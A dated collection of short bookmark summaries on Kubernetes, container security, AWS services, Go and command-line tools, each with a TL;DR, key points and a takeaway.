    • Emulation: docker run --rm --privileged multiarch/qemu-user-static --reset -p yes lets steps such as apt-get run for foreign architectures.
    • Cross-compile: FROM --platform=$BUILDPLATFORM with GOOS/GOARCH set from the TARGETOS/TARGETARCH build args.
    • Timing: About 9 s emulated versus about 7 s cross-compiled for a trivial Go app. The author expects the gap to grow with project size.
    • cgo caveat: Needs a C cross-toolchain such as gcc-aarch64-linux-gnu.

    Takeaway: Cross-compile in the build stage and keep the runtime stage on an architecture-specific base. That gives fast builds for Graviton and Apple Silicon.

  • Attesting Image Scans with Kyverno
    summary

    TL;DR: Chip Zoller (Jul 2022) shows how to scan images on a schedule, attach the results as signed Cosign attestations, and have Kyverno block pods whose scans are too old.

    • Pipeline: A daily GitHub Actions workflow with scan and attest jobs. Trivy v0.31.2 (format: cosign-vuln, ignore-unfixed: true). A SHA-256 check of scan.json between jobs.
    • Attest: cosign attest --replace --predicate scan.json --type vuln <image> with keyless signing (Cosign v1.10.0, which the author says fixed --replace).
    • Predicate: cosign.sigstore.dev/attestation/vuln/v1.
    • Policy: Kyverno 1.7.2 verifyImages with validationFailureAction: enforce and failurePolicy: Fail, checking the keyless GitHub Actions subject and issuer.
    • Freshness rule: time_since on metadata.scanFinishedOn must be LessThanOrEquals 168h. Lowering it to 10h denies the pod.
    • Not covered: Filtering by CVE severity or allow-lists is left for a later post.

    Takeaway: Admission control on scan freshness is a cheap supply-chain gate. Add severity rules before relying on it to block real vulnerabilities.

  • The Kubernetes Networking Guide
    summary

    TL;DR: The Kubernetes Networking Guide (TKNG) is a free site that explains exactly how Kubernetes networking components work, aimed at people designing, running and troubleshooting cluster networks.

    • Audience: Not a beginner resource. It assumes you know pods, deployments and services, and it is written for people with a network engineering background.
    • Sections: The network model, CNI, Services, Ingress and Egress, Network Policies, IPv6 and DNS.
    • Structure: Follows how Kubernetes SIG Network is organised into interest groups. Parts can be read independently.
    • Labs: Most topics include a hands-on lab that runs locally in minutes. Setup is on the Lab Setup page.
    • Source: The content is on GitHub (networkop/k8s-networking-guide), and contributions go through pull requests with a matching lab.

    Takeaway: The best deep dive when you need to know what kube-proxy or a CNI actually programs on the node. Use the labs to reproduce problems.

  • User and Workload Identities in Kubernetes
    summary

    TL;DR: A LearnKube article (Part 1 of 4) on how the Kubernetes API server authenticates human users and workloads, and how workload tokens extend to cloud IAM.

    • Users: Kubernetes stores no user objects. The options are static token files (--token-auth-file), X.509 client certs (--client-ca-file), OIDC JWTs, webhook token auth and authenticating proxies.
    • Multiple authenticators: Any one of them accepting a request is enough. Unauthenticated requests become system:anonymous.
    • Service accounts: Tokens from the TokenRequest API are mounted through projected volumes at /var/run/secrets/kubernetes.io/serviceaccount, refreshed by the kubelet, and bound to the pod.
    • Manual token: kubectl create token <sa> --duration=10m. JWT claims are sub, aud, iss, exp and pod/node binding.
    • Legacy tokens: Secret-based tokens never expire and are not recommended.
    • Cloud identity: IRSA and EKS Pod Identity. The projected token with audience sts.amazonaws.com is checked by STS against the cluster’s OIDC discovery and JWKS (kubectl get --raw /openid/v1/jwks). TokenReview validates tokens in-cluster.
    • Moved and updated: The URL now redirects to learnkube.com. The current version is dated May 2026 (Gulcan Topcu, Arthur Chiao).

    Takeaway: Prefer OIDC or a proxy for humans, and short-lived, audience-scoped bound tokens for workloads. Remove any remaining Secret-based service account tokens.

  • Minimal Container Images: Towards a More Secure Future
    summary

    TL;DR: Adrian Mouat (Chainguard, Jul 2022) argues that the number of components in an image, more than its size, drives risk. He traces slim, scratch and distroless images to Chainguard’s apk-based approach.

    • Slim bases: Debian 11 slim is about 74 MB versus 118 MB for the full image. Alpine is about 5 MB but uses musl, which matters if an app needs glibc.
    • Scratch: Static binaries can be tiny: a Rust CLI at 15.9 MB, Go hello-world at 2.07 MB, and a C program at 452 bytes.
    • Distroless: Only certs, libc, the runtime and basic files, with no shell or package manager. Google’s images are built with Bazel and hard to extend.
    • Debugging: Use Kubernetes ephemeral containers (still beta at the time).
    • Chainguard tooling: apko builds images from a YAML list of apk packages. melange builds apk packages reproducibly.
    • Moved: The old blog URL now redirects to Chainguard’s blog index. The article lives at chainguard.dev/unchained/minimal-container-images-towards-a-more-secure-future.

    Takeaway: Fewer packages mean fewer CVEs to triage. Move production images to distroless-style bases and keep debugging tools out of the image.

  • fwd:cloudsec
    summary

    (Could not fetch full text.)

    TL;DR: The YouTube playlist of talk recordings from fwd:cloudsec 2022, a community-run cloud security conference.

    • Event: fwd:cloudsec 2022 was its third year. A search-result recap describes a one-day event at District Hall, Boston, on July 25, 2022, just before AWS re:Inforce.
    • Known talks: Recaps mention Zack Allen’s “Cloudy with a chance of IOCs” on modernising detection writing. Speakers also included Darwin Salazar and Orca researchers Tzah Pahima and Yanir Tsarimi.
    • Format: Recorded sessions on the conference’s YouTube channel (“fwd:cloudsec”).
    • Source caveat: YouTube returned only the playlist title, with no video list. Event details come from Datadog Security Labs and Orca Security recap pages found by web search.

    Takeaway: fwd:cloudsec talks are vendor-light, practitioner cloud security research. Browse the playlist for AWS and Azure attack and detection topics.

  • Kubernetes Removals and Major Changes in 1.25
    summary

    TL;DR: A Kubernetes blog post (Kat Cosgrove, Frederico Muñoz, Debabrata Panigrahi, Aug 2022) that lists what v1.25 removes or changes, chiefly the removal of PodSecurityPolicy.

    • PodSecurityPolicy: Removed in v1.25 after deprecation in v1.21. It is replaced by Pod Security Admission, which goes GA in the same release.
    • CSI migration: The core CSI Migration feature goes GA, moving in-tree volume plugins toward out-of-tree CSI drivers.
    • Storage plugins: GlusterFS and Portworx in-tree plugins are deprecated. Flocker, Quobyte and StorageOS in-tree plugins are removed.
    • vSphere: The in-tree vSphere volume driver no longer supports vSphere releases before 7.0u2.
    • iptables: The kubelet starts to stop creating the KUBE-MARK-DROP, KUBE-MARK-MASQ and KUBE-POSTROUTING nat chains, behind the IPTablesCleanup feature gate.
    • Next up (1.26): flowcontrol.apiserver.k8s.io/v1beta1 and autoscaling/v2beta2 HPA are scheduled for removal.
    • Policy recap: Beta APIs stay supported for 3 releases after deprecation. GA APIs cannot be removed within a major version.

    Takeaway: Before going to 1.25, migrate any PSP use to Pod Security Admission and check for removed storage plugins. Do not depend on kube-proxy’s internal iptables chains.

  • Go 1.19 Release Notes
    summary

    TL;DR: The official Go 1.19 release notes. The release came five months after 1.18 and centres on a revised memory model, a soft memory limit and doc comment tooling.

    • Memory model: Revised to align with C, C++, Java, JavaScript, Rust and Swift. Go provides only sequentially consistent atomics.
    • Runtime: Soft memory limit via GOMEMLIMIT or debug.SetMemoryLimit (works even with GOGC=off), with GC CPU capped at about 50% near the limit. On Unix, programs that import os raise the soft RLIMIT_NOFILE to the hard limit.
    • Types: sync/atomic adds Int64, Bool, Pointer[T] and others.
    • Breaking change: os/exec no longer resolves PATH lookups relative to the current directory. Use ./prog explicitly.
    • Tools: gofmt reformats doc comments (go/doc/comment), a unix build constraint, and -trimpath recorded in build info.
    • Compiler: Jump tables for large switch statements, up to about 20% faster on amd64 and arm64.
    • Library: url.JoinPath, sort.Find, pdqsort, fmt.Append*, flag.TextVar and http.MaxBytesError. Ports: linux/loong64 added, and riscv64 now passes arguments in registers.

    Takeaway: If you upgrade old code, check os/exec callers. For containers, start setting GOMEMLIMIT.

09.08.2022

  • btop: Monitor of Resources
    summary

    TL;DR: btop is a terminal resource monitor by aristocratos, showing CPU, memory, disks, network and processes. It is the C++ successor to bashtop and bpytop.

    • UI: A game-style menu system, full mouse support, and selectable graph symbols and themes.
    • Processes: Detailed stats per process, filtering, tree view, switchable sorting, a pause option, and sending any signal to the selected process.
    • I/O: Disk I/O activity and speeds, auto-scaling network graphs, and a battery meter.
    • Platforms: Builds documented for Linux, macOS, FreeBSD, NetBSD and OpenBSD. A snap is available and GPU monitoring is supported.
    • Config: Every config option can be changed from a UI menu.
    • Maintenance: Active. The README news (2025-2026) adds rules requiring PRs with AI-generated code to be labelled.

    Takeaway: A nicer drop-in for top or htop on workstations and servers. Install it from your package manager.

  • data-diff: Efficiently Diff Rows Across Two Different Databases
    summary

    TL;DR: data-diff, from Datafold, compared tables within or across SQL databases quickly. Datafold stopped supporting and developing the open-source version on May 17, 2024.

    • Purpose: Fast row-level comparison of datasets, within one database or across two different ones.
    • Sunset: The README says Datafold no longer supports or develops open-source data-diff and links a blog post explaining why.
    • Archived: The owner archived the repository on May 17, 2024.
    • License: MIT.
    • Source caveat: The current README is reduced to the sunset notice. Details of features and how it worked were not available from it.

    Takeaway: Do not adopt it for new work. The diffing approach is still useful, but look for a maintained tool for migration validation.

  • EKS Anywhere on Bare Metal
    summary

    TL;DR: Amazon EKS Anywhere lets you create and operate EKS-style Kubernetes clusters on your own infrastructure. It was bookmarked when bare-metal support was announced.

    • Purpose: Run clusters on premises with default component configurations and automated cluster management tooling, consistent with EKS in the cloud.
    • Hybrid: Unify how apps run across cloud and on-premises environments.
    • Data sovereignty: Keep large datasets on premises to meet data-location rules.
    • AI workloads: The current page also pitches on-prem LLM training and inference on GPUs.
    • Next steps: Links to the installer, pricing and FAQs.
    • Page changed: The current product page has no bare-metal-specific content. Details on infrastructure providers and subscriptions are in the linked docs and pricing pages, which were not reviewed.

    Takeaway: Consider it when you need EKS-consistent tooling on premises. Read the linked pricing and FAQ pages for supported infrastructure and support terms.

  • Awesome Go: Over 2400 Resources!
    summary

    TL;DR: Awesome Go is the long-running curated directory of Go frameworks, libraries and software, inspired by awesome-python and maintained at avelino/awesome-go.

    • Scope: Categorised links with one-line descriptions. The bookmark title cites over 2,400 resources; the current page gives no total.
    • Categories: Examples include Actor Model, Artificial Intelligence, Authentication and Authorization, Command Line, Configuration, Database and Database Drivers, Networking, Testing, Text Processing and Web Frameworks.
    • Format: Each entry is a linked project name and a short description.
    • Curation: Contributions go through pull requests following CONTRIBUTING.md. Unmaintained projects are removed or replaced.
    • Site: awesome-go.com renders the GitHub list as a website.

    Takeaway: A good first stop when choosing a Go library. Still check stars, last commit and license yourself, because listing is not a quality guarantee.

  • Custom GitHub Action with Go
    summary

    TL;DR: A TheDeveloperCafe tutorial on writing a custom GitHub Action in Go, packaged as a Docker container action.

    • Program: A small main.go that prints its os.Args[1:], tested with go run main.go hello world.
    • Dockerfile: golang:1.18.3-alpine3.16, go build -o /bin/app main.go, ENTRYPOINT ["app"].
    • action.yml: runs: using: docker, image: Dockerfile, a required message input, and args: ["${{ inputs.message }}"].
    • Publish: Push to a repository, tag v1 and create a release. Consume it with uses: <owner>/<repo>@v1 and with: message: ..., or uses: ./ locally.
    • Internals: Shows the full docker run command the runner uses, with --workdir /github/workspace, environment variables and the /var/run/docker.sock mount.
    • Not covered: INPUT_* environment variables and writing outputs via GITHUB_OUTPUT.

    Takeaway: A minimal template for Go-based actions. Docker actions run only on Linux runners and add image build time; a prebuilt image or a JavaScript wrapper avoids that.

  • Debugging containerd
    summary

    (Could not fetch full text.)

    TL;DR: A Zendesk Engineering Medium post titled “Debugging containerd”. The content could not be retrieved, so only the topic is known.

    • Topic: Investigating a problem in containerd, the container runtime under Kubernetes nodes, from Zendesk’s engineering team.
    • Publication: The Zendesk Engineering blog on Medium (zendesk.engineering), bookmarked in Aug 2022.
    • Access: Medium blocked direct fetching, no Wayback Machine snapshot was found, and web searches did not turn up the article or a mirror.
    • Source caveat: This summary is based only on the title and URL. No technical claims from the article could be checked.

    Takeaway: Treat it as an unread link. Open it in a browser if you need Zendesk’s specific containerd findings.

  • op-vscode: 1Password for VS Code
    summary

    TL;DR: 1Password’s official VS Code extension. It ties editor workflows to 1Password through the 1Password CLI.

    • Requirement: 1Password CLI v2.4.0 or newer installed.
    • Unlock: Biometric unlock must be enabled. Without a biometric device you can use the device user password.
    • Install: From the VS Code Marketplace (1Password.op-vscode) or GitHub releases. Then pick an account and vault when prompted.
    • Docs: Features are documented on the 1Password developer portal.
    • License: MIT. Use of the 1Password APIs falls under the 1Password API Terms of Service.

    Takeaway: Useful for keeping secrets out of source files by referencing 1Password items from the editor. It requires the CLI and biometric unlock.

  • Kubernetes Security Scanning with Trivy CLI and Trivy Operator
    summary

    TL;DR: A 17-minute video by Anais Urlichs (Jun 2022) on scanning a Kubernetes cluster for vulnerabilities and misconfigurations, first with the Trivy CLI and then with the Trivy Operator.

    • Scope: Cluster scanning for vulnerabilities and misconfigurations.
    • Trivy CLI: One-off scans from the command line (segment from 04:43).
    • Trivy Operator: In-cluster, continuous scanning that writes results as Kubernetes resources (segment from 08:24).
    • Comparison: A section on how the CLI and Operator approaches differ (from 11:23).
    • Resources: Demo repo AnaisUrlichs/trivy-demo, the Trivy docs and repo, and an earlier Trivy CLI video.
    • Source caveat: Summary based on the YouTube title, description and timestamps. The video itself was not watched.

    Takeaway: Use the CLI for CI and ad-hoc checks and the Operator for continuous in-cluster reports. The commands have changed since 2022, so follow the current Trivy docs.

  • Code-Server, Caddy, Tailscale, and Hugo = My Ultimate Dev Environment
    summary

    TL;DR: Chris Short (Jul 2022) describes his browser-based dev setup: code-server behind Caddy with DNS-challenge TLS, reachable only over Tailscale, with Hugo live preview.

    • Host: An Ubuntu VM (6 cores, 24 GB RAM). Later a home server, an 11th Gen Intel NUC i5 with 32 GB and 2 TB NVMe.
    • code-server: Installed with the official script, listening on 127.0.0.1:8080.
    • Caddy: A custom build with a DNS provider module. reverse_proxy for coder.example.com, a tls block using DNS validation, run as a caddy user with CAP_NET_BIND_SERVICE under systemd.
    • Tailscale: The DNS record points at the host’s Tailscale IP, so only tailnet members can reach it.
    • Hugo: A localHugo script runs hugo server with drafts and future posts, bound to the Tailscale IP on port 1313.
    • Caveats: Keep systemd units holding the DNS API token at root-owned 0600. Early public exposure drew heavy probing, which is why he made it private.

    Takeaway: Private-network-only access plus real TLS is a clean pattern for self-hosted dev tools. Do not expose code-server to the public internet.

  • Remote Development at Slack
    summary

    TL;DR: Sylvestor George (Slack Engineering, Jun 2022) describes moving Slack’s webapp development from laptops to on-demand EC2 environments accessed through VS Code Remote SSH.

    • Problem: A fresh clone of the Hack/HHVM backend took nearly 30 minutes. Local HHVM was heavy and fragile, and the webapp accounts for 60% of code changes.
    • Warm pool: An Auto Scaling Group keeps ready environments synced with master. Reserving one detaches it and saves about 12 minutes of bootstrap.
    • Workflow: slack remote-dev -b <branch> creates the branch, reserves a box, installs dependencies and opens VS Code. Dotfiles live in ~/.remote-dev-home.
    • Lifecycle: Short-lived. Environments terminate on detach or when the branch merges. A new instance is ready in under 90 seconds.
    • Sizing: Moved from c5.2xlarge to c5.4xlarge, which doubled cost but was a single config change.
    • Adoption: Beta in Aug 2021 (about 30% switched), GA in Oct 2021, and over 90% of engineers by end of Jan 2022. New-hire setup dropped from about an hour to minutes.

    Takeaway: For heavy monorepos, a pre-warmed pool of ephemeral cloud dev boxes beats laptop setup. Allow personal customisation to drive adoption.

  • Best Linux Commands for Advanced Hardware and System Info
    summary

    TL;DR: A Nix Sanctuary cheat sheet (Jun 2022) of Linux commands for inspecting hardware and system details.

    • Overview tools: lshw (--short, --sanitize, --html), hwinfo --short and inxi (-F full, -z to hide sensitive data).
    • Firmware: dmidecode -t bios|system|memory|processor (needs sudo) for SMBIOS data.
    • Buses: lspci -vvv, lsusb (-t tree, -d vendor:product) and lsscsi.
    • CPU and kernel: lscpu (-e, -p), uname -a/-m, and /proc/cpuinfo and /proc/version.
    • Storage: lsblk -a, blkid, fdisk -l, gdisk, parted, df -H, mount | column -t and hdparm -tT for a read benchmark.
    • Events: dmesg for hardware attach and detach messages.

    Takeaway: Handy for quick inventory or support tickets. Use lshw --sanitize or inxi -z before you share output.

  • Ripgrep-all Command in Linux: One grep to Rule Them All
    summary

    TL;DR: An It’s FOSS article (Jun 2022, Pratham Patel) introducing ripgrep-all (rga), a ripgrep wrapper that searches inside PDFs, office documents, archives, databases and media.

    • File types: PDF, epub, docx and odt, ipynb, zip/tar/gz/xz/zst archives, SQLite databases, video subtitles (mkv, mp4) and OCR on jpg and png.
    • Dependencies: ripgrep, pandoc, poppler-utils and ffmpeg.
    • Install: pacman -S ripgrep-all, brew install ripgrep-all or Nix. On Debian/Ubuntu, a musl release binary (rga plus rga-preproc) placed in ~/.local/bin.
    • Usage: ripgrep flags such as -i, -s, -v, -A/-B/-C and -j threads.
    • Cache: Extracted text is cached in ~/.cache/rga on Linux and ~/Library/Caches/rga on macOS. --rga-no-cache turns it off.
    • Naming: The project is ripgrep-all; the command is rga.

    Takeaway: Useful for searching document dumps or evidence folders. The cache makes repeat searches fast.

  • terratag: Maintain Tags Across All Terraform Resources
    summary

    TL;DR: Terratag, from env0, is a CLI that adds tags or labels to every AWS, GCP and Azure resource across a set of Terraform or OpenTofu files.

    • Why: Tagging by hand across a whole codebase is error-prone. Terratag adds tags retroactively to existing IaC.
    • Prerequisites: OpenTofu 1.x or Terraform 0.12 through 1.x. Run terraform init or tofu init first to get provider schemas and child modules.
    • Install: brew install env0/terratag/terratag or a release binary.
    • Usage: terratag -dir=foo/bar -tags={"environment_id": "prod"} or -tags="environment_id=prod,some-tag=value".
    • Output: Rewrites the .tf files so taggable resources merge in the tags, shown with before and after examples.
    • Status: Not archived. It has been updated to support OpenTofu.

    Takeaway: A quick fix for adding cost-allocation tags to a large legacy codebase. For new code, provider default_tags may be enough on AWS.

  • viddy: A Modern watch Command
    summary

    TL;DR: Viddy, by sachaos, is a modern replacement for watch. It runs a command periodically and adds history you can rewind.

    • Basics: Runs a command at an interval with colour output and diff highlighting.
    • Time machine: Rewind through earlier outputs “like video”. History can be saved and loaded.
    • Navigation: Output in a pager, Vim-like keymaps, text search, and suspend or restart of execution.
    • Customisation: Keymaps and colours. Supports shell aliases.
    • Install: cargo install viddy, brew install viddy, release tarballs, and community packages (APT via pkg.haus, MacPorts, Scoop, AUR).
    • Status: Not archived. The current README gives a Cargo install, which shows the tool is now distributed as a Rust crate.

    Takeaway: Drop it in wherever you use watch, e.g. viddy kubectl get pods. Rewinding means you can still see a short-lived state after it has passed.

  • Things You Should Know About Databases
    summary

    TL;DR: An Architecture Notes explainer by Mahdi Yusuf (June 2022) on the two RDBMS internals the author considers most important: indexes and transactions. The page is now titled “Relational Databases Explained”.

    • Scope: Covers relational databases in general (MySQL and PostgreSQL as examples) without database-specific quirks, with an infographic summary.
    • Index trade-off: Indexes cut lookup time but cost storage, memory and slower writes, because every write must keep the index up to date.
    • Data structures: Explains why sorting the table itself does not scale and walks through B+ trees, where intermediate nodes hold no data and point to leaf ranges.
    • Storage: Short aside on SSD vs HDD access latency and why it matters for random row placement.
    • Transactions: Covers ACID and the isolation levels READ UNCOMMITTED, READ COMMITTED, REPEATABLE READ and SERIALIZABLE, and the anomalies (dirty and non-repeatable reads) each prevents.
    • Title change: The archived title differs from the current page title; the content matches the original topic.

    Takeaway: A good refresher before tuning indexes or picking an isolation level. Know which isolation level your database uses by default and set it deliberately.

  • Advanced Features of Kubernetes’ Horizontal Pod Autoscaler
    summary

    TL;DR: Martin Heinz walks through Kubernetes Horizontal Pod Autoscaler features beyond CPU and memory: custom and external metrics plus the alpha/beta gates for scale-to-zero, container metrics and logarithmic scale-down.

    • Lab setup: A KinD cluster (kindest/node:v1.23.6, 1 control plane, 3 workers) with feature gates HPAScaleToZero, HPAContainerMetrics and LogarithmicScaleDown, and the e2e resource-consumer image to simulate CPU, memory and metrics.
    • Metrics stack: metrics-server (patched with --kubelet-insecure-tls on KinD), Prometheus Operator with ServiceMonitors, and a Prometheus adapter to serve custom and external metrics APIs.
    • Custom metrics: autoscaling/v2 HPAs using type: Pods or type: Object (e.g. a Service), with AverageValue vs Value targets; discover metrics via kubectl get --raw "/apis/custom.metrics.k8s.io/v1beta1/...".
    • External metrics: Scaling on a queue depth metric (external_queue_messages_ready) served from external.metrics.k8s.io.
    • Scale to zero: With the gate on, minReplicas: 0 works, but only for External or Object metrics.
    • Container metrics: type: ContainerResource scales on one container’s usage, ignoring sidecars.
    • Logarithmic scale-down: Picks pods to delete semi-randomly instead of newest-first, to keep replica distribution balanced (KEP-2189).

    Takeaway: Use ContainerResource metrics when sidecars distort pod CPU, and check the HPA status.conditions to confirm a metric is recognized. The alpha gates may have changed status since 2022.

  • Managing Kubernetes Without Losing Your Cool
    summary

    TL;DR: Marcus Noble (Giant Swarm) turns a webinar into a post of 11 numbered tips for working with many Kubernetes clusters every day, from shell aliases up to writing operators.

    • Basics: Learn your shell and dotfiles, alias k='kubectl', and use kubectl explain pods.spec.containers to look up fields offline.
    • Many kubeconfigs: Compares kubectx/kubens, kubeswitch and kubie; the author prefers kubeswitch for loading one kubeconfig file per cluster, and shows a KUBECONFIG merge hack.
    • Tooling: k9s as a terminal UI and kubectl plugins (via krew) for extra commands.
    • Node access: kshell / kubectl debug and kube-ssh style tricks for getting a shell on nodes; a later update adds an nsenter example from Ian Coldwater.
    • Advanced: Admission webhooks, talking to the Kubernetes API directly, and custom resources and operators for automation.
    • Tip #0: Tongue-in-cheek suggestion to pay someone else (a managed provider) to run clusters.

    Takeaway: Pick a kubeconfig switcher and a few aliases first; they prevent most wrong-cluster mistakes. The later tips suit people who already script against the API.

  • TryHackMe: Kubernetes
    summary

    (Could not fetch full text.)

    TL;DR: A TryHackMe room titled “Kubernetes for Everyone” (slug kubernetesforyouly), a medium-rated Kubernetes hacking challenge aimed at DevOps/SRE people.

    • Format: Listed as about 60 minutes, medium difficulty, as a capture-the-flag style challenge.
    • Initial access: Find the cluster and credentials, with Nmap suggested to find open ports and a vulnerable service for a foothold.
    • Tasks: Questions ask for a username, a password and a secret, then a flag found by enumerating storage shared by pods.
    • Final task: A scenario about a “FANG interview” asks you to find a secret left behind in the cluster.
    • Source caveat: TryHackMe returned HTTP 429; summary is based on search result listings of the room, whose task wording varies between versions.

    Takeaway: A short hands-on exercise in finding secrets and shared volumes in a misconfigured cluster. Useful practice before a Kubernetes pentest or CKS-style study.

  • paralus: All-in-One Kubernetes Access Manager
    summary

    TL;DR: Paralus is a free, open source CNCF Sandbox project for controlled, audited access to Kubernetes clusters. It offers user-level credentials, RBAC, SSO and audit logs through a GUI, API and CLI.

    • Identity: Integrates with existing RBAC and with SSO or OIDC identity providers.
    • Just-in-time access: Creates service accounts on demand and manages fine-grained user credentials.
    • Controls: Custom roles, users and groups, plus preconfigured roles across clusters, namespaces and projects.
    • Revocation: Permissions can be changed and revoked dynamically and immediately.
    • Auditing: Real-time audit logs to help spot and respond to threats.
    • Project: Written in Go, Apache 2.0, with a Helm chart and an OpenSSF Best Practices badge.
    • Note: The archive lists this repo twice, under two title variants with the same URL.

    Takeaway: Consider Paralus for centrally brokered, revocable kubectl access across many clusters without distributing static kubeconfigs.

  • Understanding Data Transfer Costs for AWS Container Services
    summary

    TL;DR: An AWS Containers blog post that maps common ECR, ECS and EKS deployment patterns to the data transfer charges each one incurs. Service charges are out of scope.

    • ECR private: Inbound transfer is free and same-Region transfer to other services is free; cross-Region pulls are charged at internet rates on both sides, and replication at cross-Region rates.
    • ECR Public: Authenticated users pay after 5 TB/month out to non-AWS destinations; anonymous pulls are capped at 500 GB/month, after which anonymous transfer stops.
    • ECS: Compares clusters with internet access (IGW, NAT gateway or Transit Gateway), private clusters with PrivateLink endpoints, and ECS Anywhere (free over internet; standard Data Transfer Out over VPN or Direct Connect).
    • Fargate note: Fargate in private ECS clusters does not need the ECS PrivateLink endpoints, but still needs ECR endpoints to pull images.
    • EKS: Charges accrue for cross-AZ pod-to-pod and pod-to-database traffic and for ALB egress; same-AZ traffic and same-Region ECR pulls are free.
    • NAT cost: Public EKS endpoints from private subnets go through a NAT gateway, which adds a per-GB processing fee.

    Takeaway: Cross-AZ traffic and NAT gateway processing are the usual hidden container costs. Keep chatty services AZ-local and use VPC endpoints for ECR.

  • Run an Active-Active Multi-Region Kubernetes Application with AppMesh and EKS
    summary

    TL;DR: An AWS tutorial for running the same application active-active in two Regions with one EKS cluster each, AWS App Mesh ingress gateways, and Route 53 latency-based records with health checks for failover.

    • Deprecated: An October 2024 notice says the post no longer reflects best guidance and its examples no longer work; AWS points to Amazon VPC Lattice instead.
    • Architecture: Two isolated EKS clusters (clusterA in us-east-2, clusterB in us-west-2) built with eksctl.
    • Mesh: App Mesh handles east-west traffic and a single ingress (virtual) gateway per cluster exposes multiple apps north-south.
    • Routing: Route 53 latency records send users to the lowest-latency Region; health checks fail traffic over when a Region is unhealthy.
    • Alternative: The authors note the same result is possible with a plain Ingress controller instead of App Mesh, since Route 53 provides the active-active behaviour.

    Takeaway: The durable idea is Route 53 latency plus health-check routing over independent regional clusters. Do not follow the App Mesh steps for new work.

  • Infrastructure Self-Service with Crossplane
    summary

    TL;DR: Sascha Selzer (INNOQ) explains how Crossplane lets platform teams offer cloud infrastructure as Kubernetes resources, so developers can self-serve databases and similar resources without cloud credentials.

    • Problem: Even with Kubernetes, external resources such as databases still go through the platform team, a different cloud API, separate identity management and wide developer credentials.
    • Operator pattern: Crossplane follows the Kubernetes operator pattern and moves infrastructure management into the cluster.
    • Providers: Provider packages give access to external APIs (e.g. AWS) and are configured with credentials held in the cluster.
    • Abstractions: Platform teams define composite resources (XRDs) and Compositions that bundle best-practice settings behind a simple developer-facing API.
    • Distribution: Shows how to package and distribute your own resource definitions as Crossplane packages.

    Takeaway: Crossplane suits teams that want one Kubernetes API and RBAC model for both apps and their cloud dependencies. Plan the XRD interfaces carefully, since they become your platform contract.

  • Extend AWS IAM Roles to Workloads Outside of AWS with IAM Roles Anywhere
    summary

    TL;DR: An AWS Security blog introduction to IAM Roles Anywhere, which lets servers, containers and apps outside AWS swap X.509 certificates for temporary IAM role credentials instead of using long-term access keys.

    • Trust: You register a certificate authority as a trust anchor; it can be your existing PKI or an ACM Private CA.
    • Flow: The workload sends its certificate and a signature made with its private key, names the role, and IAM Roles Anywhere validates both before creating a role session via STS.
    • Profiles: Profiles define which roles can be assumed and can limit permissions further.
    • Client: The aws_signing_helper tool plugs into the AWS CLI and SDKs through credential_process in the AWS config file.
    • Use cases: On-premises servers, hybrid containers and other compute platforms that today rely on static access keys.

    Takeaway: If you have long-lived access keys on non-AWS hosts and already run a PKI, this replaces them with short-lived credentials. Protect the private keys and scope trust policies to certificate attributes.

  • What GKE Users Need to Know About Kubernetes’ New Service Account Tokens
    summary

    TL;DR: A Google Cloud blog post explaining how Kubernetes 1.21 replaced legacy service account tokens with bound tokens by default, and what GKE users must change.

    • Legacy tokens: Up to 1.20, an admission controller mounted a Secret with ca.crt, namespace and a JWT token at /var/run/secrets/kubernetes.io/serviceaccount; these tokens did not expire.
    • Bound tokens: From 1.21 the default token is time-limited, has an audience, and is only valid while the pod is still running.
    • Client libraries: Official Kubernetes clients and GKE Workload Identity need no changes beyond up-to-date libraries that reload the token from disk.
    • Vault: Vault checks the issuer and expects the legacy kubernetes/serviceaccount; you must configure the GKE issuer https://container.googleapis.com/v1/projects/PROJECT/locations/LOCATION/clusters/NAME.
    • External services: Should agree on a unique audience (DNS name or UUID) and migrate TokenReview calls to validate it in phases, so stolen tokens only work for that service.

    Takeaway: Check that apps reload tokens from disk and that Vault’s Kubernetes auth has the new issuer. Use dedicated projected tokens with a unique audience for anything outside the cluster.

28.06.2022

  • New for AWS DataSync: Move Data Between AWS and Other Public Locations
    summary

    TL;DR: An AWS News Blog launch post (2022) showing AWS DataSync moving data between AWS storage and Google Cloud Storage or Azure Files, using a DataSync agent on EC2.

    • Targets: AWS side supports S3, EFS and FSx; external side is Google Cloud Storage (as “Object storage” at storage.googleapis.com) or Azure Files (as SMB).
    • Agent: Deployed on EC2 from the AMI ID in Parameter Store: aws ssm get-parameter --name /aws/service/datasync/ami.
    • Networking: The instance needs access to source and destination and must accept HTTP from DataSync for activation; VPC endpoints are recommended.
    • Security: End-to-end encryption and integrity validation; logging and monitoring via CloudWatch and CloudTrail.
    • Update: A May 2025 note says DataSync Enhanced mode now supports cross-cloud transfers without an agent and with higher performance.

    Takeaway: For GCS or Azure Files migrations into AWS, DataSync is the managed option. Check Enhanced mode first, since the agent steps in the post are now optional.

  • devtron: Tool Integration Platform for Kubernetes
    summary

    TL;DR: Devtron is an open-source (Apache 2.0, Go) Kubernetes management platform by Devtron Labs. It was linked as a tool integration platform and now presents itself as an “AI-Native Kubernetes Management Platform” built around a Kubernetes dashboard.

    • Dashboard: Helm app management with rollback, a resource browser for nodes, pods, ConfigMaps and CRDs, and one view of Helm, Argo CD and Flux CD apps across clusters.
    • Drift: Compares and reconciles configuration drift across environments.
    • Access: Built-in SSO and fine-grained RBAC for dashboard and cluster resources.
    • Platform mode: A separate “Devtron Platform” section covers the CI/CD capabilities.
    • Install: helm repo add devtron https://helm.devtron.ai then helm install devtron devtron/devtron-operator --create-namespace --namespace devtroncd; the admin password is in the devtron-secret Secret.
    • Repositioning: The README was restructured since 2022 and now leads with AI features; the CI/CD platform is no longer the headline.

    Takeaway: A self-hosted option for a multi-cluster Helm and GitOps dashboard with RBAC. Evaluate the current scope, since the product focus has shifted since this link was saved.

  • HashiCorp Vault 1.11 Adds Kubernetes Secrets Engine, PKI Updates, and More
    summary

    TL;DR: HashiCorp’s release post for Vault 1.11 (GA June 22, 2022), headlined by a new Kubernetes secrets engine plus PKI, Transit and Enterprise storage changes.

    • Kubernetes secrets engine: Dynamically creates service account tokens, service accounts, role bindings and roles, with leases (the example uses 10m0s).
    • PKI: New /keys and /issuers endpoints allow non-disruptive root and intermediate rotation; CPS URLs in custom policy identifiers are supported.
    • Transit: Can import externally generated keys, such as keys from an HSM.
    • Enterprise: Integrated storage autopilot adds automated upgrades and redundancy zones; KMIP and Transform engines gain new operations.
    • Other: UI login MFA (TOTP, Duo, Okta, PingIdentity), KV v2 -mount and -output-policy CLI flags, Vault CSI provider GA, usage metrics export in tech preview.
    • Removals: Mount filters, stored licenses with sys/license endpoints (Enterprise), and legacy MFA.
